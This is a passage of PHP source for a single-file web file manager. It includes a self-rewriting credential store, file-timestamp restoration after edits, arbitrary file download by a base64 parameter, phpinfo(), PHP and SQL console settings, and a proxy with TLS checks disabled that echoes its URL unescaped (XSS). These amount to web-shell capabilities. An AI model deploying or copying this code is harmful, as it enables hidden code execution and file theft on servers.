			$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
	$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy"
value="true">
	'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
	<input type="submit"
value="'.__('Show').'"
class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
		$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width,
initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image:
url("data:image/png;base64,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");
}

.file {
    background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
	$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' :
$_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo
'</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
		<form action="" method="POST"
name="console">
		<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
		<input type="reset"
value="<?=__('Reset')?>">
		<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
	$select .= '<option value="-1">' .
__('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'"
